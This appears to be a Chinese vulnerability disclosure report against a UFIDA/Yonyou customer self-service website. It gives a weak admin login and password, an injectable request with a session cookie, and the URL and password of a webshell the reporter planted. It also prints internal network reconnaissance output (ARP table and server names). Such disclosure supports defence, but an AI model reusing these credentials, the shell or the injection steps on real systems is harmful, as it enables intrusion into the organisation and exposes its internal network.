### 简要描述： 弱口令、sql注射、getshell ### 详细说明： 系统地址： http://vip.ufida.com.cn/Frame/Index.aspx [<img src="https://images.seebug.org/upload/201510/211621187861fbd42f94e62a918639c6421ddce5.jpg" alt="QQ截图20151021162136.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/211621187861fbd42f94e62a918639c6421ddce5.jpg) 弱口令帐号：adminnc 密码：adminnc [<img src="https://images.seebug.org/upload/201510/21162318d4fb4043dcf5f3c510b9cd10affaa228.jpg" alt="QQ截图20151021162437.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/21162318d4fb4043dcf5f3c510b9cd10affaa228.jpg) 在自助查询处，发现注入（需要登录，注意cookie有时效） [<img src="https://images.seebug.org/upload/201510/211624159e5956a880d0a2fd338d8469b81bb8da.jpg" alt="QQ截图20151021162521.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/211624159e5956a880d0a2fd338d8469b81bb8da.jpg) ``` GET...
### 简要描述： 弱口令、sql注射、getshell ### 详细说明： 系统地址： http://vip.ufida.com.cn/Frame/Index.aspx [<img src="https://images.seebug.org/upload/201510/211621187861fbd42f94e62a918639c6421ddce5.jpg" alt="QQ截图20151021162136.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/211621187861fbd42f94e62a918639c6421ddce5.jpg) 弱口令帐号：adminnc 密码：adminnc [<img src="https://images.seebug.org/upload/201510/21162318d4fb4043dcf5f3c510b9cd10affaa228.jpg" alt="QQ截图20151021162437.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/21162318d4fb4043dcf5f3c510b9cd10affaa228.jpg) 在自助查询处，发现注入（需要登录，注意cookie有时效） [<img src="https://images.seebug.org/upload/201510/211624159e5956a880d0a2fd338d8469b81bb8da.jpg" alt="QQ截图20151021162521.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/211624159e5956a880d0a2fd338d8469b81bb8da.jpg) ``` GET http://vip.ufida.com.cn/RepositorySearchInfo/DoctInfo.aspx?ReposID=38d4a08e-8b79-4de7-8566-30aecfb1d56f HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Referer: http://vip.ufida.com.cn/RepositorySearchInfo/DoctList.aspx?Type=MainPageClick Accept-Language: zh-CN User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: vip.ufida.com.cn Connection: Keep-Alive Cookie: ASP.NET_SessionId=szvzcr45nfresnqlzjhbtsqe ``` [<img src="https://images.seebug.org/upload/201510/21163040a9dc633bdb22d377d6fcb5ee476f63d3.jpg" alt="QQ截图20151021163123.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/21163040a9dc633bdb22d377d6fcb5ee476f63d3.jpg) 支持union sa权限 [<img src="https://images.seebug.org/upload/201510/211631126e092dde0a40298cfb73321672cc5f60.jpg" alt="QQ截图20151021163229.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/211631126e092dde0a40298cfb73321672cc5f60.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201510/2116314633f6808a598ed29377292914f5986e33.jpg" alt="QQ截图20151021163307.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/2116314633f6808a598ed29377292914f5986e33.jpg) 可内网 [<img src="https://images.seebug.org/upload/201510/21163420d35370b813ab3b64f84fb590a378a40c.jpg" alt="QQ截图20151021163526.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/21163420d35370b813ab3b64f84fb590a378a40c.jpg) [<img src="https://images.seebug.org/upload/201510/2116385293629987903b8e225330ae534e8a1c62.jpg" alt="QQ截图20151021164007.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/2116385293629987903b8e225330ae534e8a1c62.jpg) 找到web根路径后写shell ``` http://vip.ufida.com.cn/wooyun.aspx ``` 密码wpp [<img src="https://images.seebug.org/upload/201510/211642425968ea9a3abd7c42f933dd1fa7988c26.jpg" alt="QQ截图20151021164403.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/211642425968ea9a3abd7c42f933dd1fa7988c26.jpg) 支持union就是快 ``` D:\E_data\战略客户自助系统网站\wwwroot\> arp -a Interface: 192.168.8.90 --- 0x10003 Internet Address Physical Address Type 192.168.8.2 00-50-56-83-0c-49 dynamic 192.168.8.3 00-50-56-83-0c-50 dynamic 192.168.8.4 00-50-56-83-30-ab dynamic 192.168.8.7 00-50-56-83-56-6e dynamic 192.168.8.9 00-0f-e2-30-7f-c9 dynamic 192.168.8.32 00-50-56-83-4b-1a dynamic 192.168.8.38 00-21-28-14-c9-ba dynamic 192.168.8.57 70-e2-84-07-31-18 dynamic 192.168.8.67 c4-ca-d9-c6-d0-58 dynamic 192.168.8.72 70-e2-84-07-31-e4 dynamic 192.168.8.77 00-15-17-ce-9f-31 dynamic 192.168.8.80 90-e2-ba-5d-ac-1f dynamic 192.168.8.83 90-e2-ba-57-f9-97 dynamic 192.168.8.105 e8-39-35-22-42-42 dynamic 192.168.8.112 3c-e5-a6-af-21-b5 dynamic 192.168.8.113 00-1a-4b-de-ae-ae dynamic 192.168.8.114 70-e2-84-07-31-18 dynamic 192.168.8.118 00-1e-68-78-f8-a9 dynamic 192.168.8.119 70-e2-84-07-31-e4 dynamic 192.168.8.134 00-50-56-83-36-20 dynamic 192.168.8.135 00-15-17-b7-1b-15 dynamic 192.168.8.136 00-50-56-83-00-02 dynamic 192.168.8.137 00-50-56-83-00-36 dynamic 192.168.8.138 00-50-56-83-53-95 dynamic 192.168.8.151 00-25-b3-25-a6-a2 dynamic 192.168.8.153 00-50-56-83-0b-84 dynamic 192.168.8.156 00-21-28-14-ca-92 dynamic 192.168.8.164 00-50-56-83-4a-e9 dynamic 192.168.8.168 00-50-56-83-12-69 dynamic 192.168.8.174 70-e2-84-07-31-e4 dynamic 192.168.8.180 00-50-56-83-6c-e3 dynamic 192.168.8.184 00-50-56-83-0c-8e dynamic 192.168.8.192 00-50-56-83-2f-8f dynamic 192.168.8.196 00-50-56-83-3b-08 dynamic 192.168.8.197 c8-9c-dc-33-ad-37 dynamic 192.168.8.199 00-1a-4b-de-18-82 dynamic 192.168.8.200 00-0c-29-29-0b-1c dynamic 192.168.8.201 00-15-17-5f-0d-59 dynamic 192.168.8.203 00-e0-81-d2-d8-49 dynamic 192.168.8.210 d4-85-64-4b-c0-b8 dynamic 192.168.8.211 00-50-56-83-5c-e1 dynamic 192.168.8.212 f8-bc-12-4e-9c-06 dynamic 192.168.8.213 00-50-56-83-00-1d dynamic 192.168.8.214 00-e0-81-de-99-5b dynamic 192.168.8.215 00-00-5e-00-01-0f dynamic 192.168.8.216 00-23-7d-57-8a-88 dynamic 192.168.8.217 00-23-7d-56-60-dc dynamic 192.168.8.218 00-23-7d-56-60-dc dynamic 192.168.8.219 18-a9-05-60-b9-e0 dynamic 192.168.8.220 18-a9-05-46-3a-08 dynamic 192.168.8.221 00-14-5e-1c-81-3f dynamic 192.168.8.222 00-00-5e-00-01-05 dynamic 192.168.8.223 00-50-56-83-63-72 dynamic 192.168.8.224 18-a9-05-53-0f-64 dynamic 192.168.8.225 44-1e-a1-4d-31-06 dynamic 192.168.8.226 00-50-56-83-46-9f dynamic 192.168.8.227 00-00-5e-00-01-09 dynamic 192.168.8.228 00-50-56-83-00-8d dynamic 192.168.8.229 00-a0-b8-56-26-92 dynamic 192.168.8.230 00-21-97-02-8f-c1 dynamic 192.168.8.231 00-50-56-83-05-f8 dynamic 192.168.8.233 00-21-28-f1-7e-ce dynamic 192.168.8.234 00-1a-4b-de-bf-7a dynamic 192.168.8.236 00-e0-81-dc-26-4b dynamic 192.168.8.237 00-e0-81-d8-54-e7 dynamic 192.168.8.238 00-50-56-83-2b-41 dynamic 192.168.8.239 00-a0-b8-56-26-50 dynamic 192.168.8.240 00-15-17-da-a6-50 dynamic 192.168.8.241 18-a9-05-40-af-d2 dynamic 192.168.8.242 00-e0-81-de-9b-96 dynamic 192.168.8.243 00-21-97-42-80-d8 dynamic 192.168.8.244 3c-d9-2b-f6-ef-70 dynamic 192.168.8.245 00-e0-81-d7-72-37 dynamic 192.168.8.246 00-50-56-83-47-d8 dynamic 192.168.8.247 00-90-fb-44-fe-8a dynamic 192.168.8.248 c4-ca-d9-de-c2-8a dynamic 192.168.8.249 c4-ca-d9-de-32-01 dynamic 192.168.8.251 00-50-56-83-29-2c dynamic 192.168.8.253 00-15-60-a2-94-81 dynamic 192.168.8.254 00-e0-86-17-b1-0d dynamic ``` [<img src="https://images.seebug.org/upload/201510/2116434740416d223331d5c2dc8e640128cf0d0d.jpg" alt="QQ截图20151021164507.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/2116434740416d223331d5c2dc8e640128cf0d0d.jpg) [<img src="https://images.seebug.org/upload/201510/2116442210f8474195d5d9afddc31b5795c40a87.jpg" alt="QQ截图20151021164542.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/2116442210f8474195d5d9afddc31b5795c40a87.jpg) ``` D:\E_data\战略客户自助系统网站\wwwroot\> net view 服务器名称 注释 ------------------------------------------------------------------------------- \\BG-DC-01 \\BG-DC-02 \\BGVC \\BI \\CAIWUAPPS CaiWuApps \\CASERVER \\CWHR \\DDFWS-C117DB6F3 \\EVENTLOG \\FTPSERVER \\GSALEDB \\IMC-01 imc-01 \\IMC-02 imc-02 \\IMC-03 \\IMC-04 imc-04 \\IMCPT \\IT-36800 \\IT_FAWEN_09_25 \\ITCOMMDATASERVE \\ITDATABASE \\ITTFS \\ITTFS2010 \\JTSJJCB-2012-01 \\KMS08 \\MSNCASRV_09_26 \\PORTAL8211 portal \\SALEAPP \\SALES_MANAGEMEN \\SUP2008 \\TKR TKR \\U8SERVICE \\UF-BG-TEMPLATES \\UF200703009 \\UF200703055A \\UF200703073 \\UF200802416 \\UF200903057 \\UF200903072 \\UF200903079 \\UF201003115 \\UF201103087 \\UF2013-PCAS \\UFAPP \\UFBGDC01 \\UFCUSDB \\UFCWSERVER2 \\UFEDGESRV \\UFGOV-KAOQIN \\UFGROUP ufgroup \\UFGROUP2013 \\UFGROUPAPP2 \\UFIDA-D79A6DC9F \\UFIDA-WINS \\UFIDASERVER1 \\UFIDASRV2 \\UFIDAWEBDATA \\UFNAS1 \\UFPARK \\UFPARK_BAK_10_0 \\UFPMP \\UFPORTALSRV ufpo \\UFREGISTER2 \\UFSEA \\UFSEADB \\UFSEARCH \\UFSERVERDB \\UFTDC11 \\VIP \\VPN_LOG \\WEBSUPPORT we \\WIN-7NNI89H987C \\WIN-9QKG6QS0TNM \\WSUS02 \\XHZWEBCOUNT \\XMGLNET UFPMP \\YONYOU-129D63B7 命令成功完成。 ```
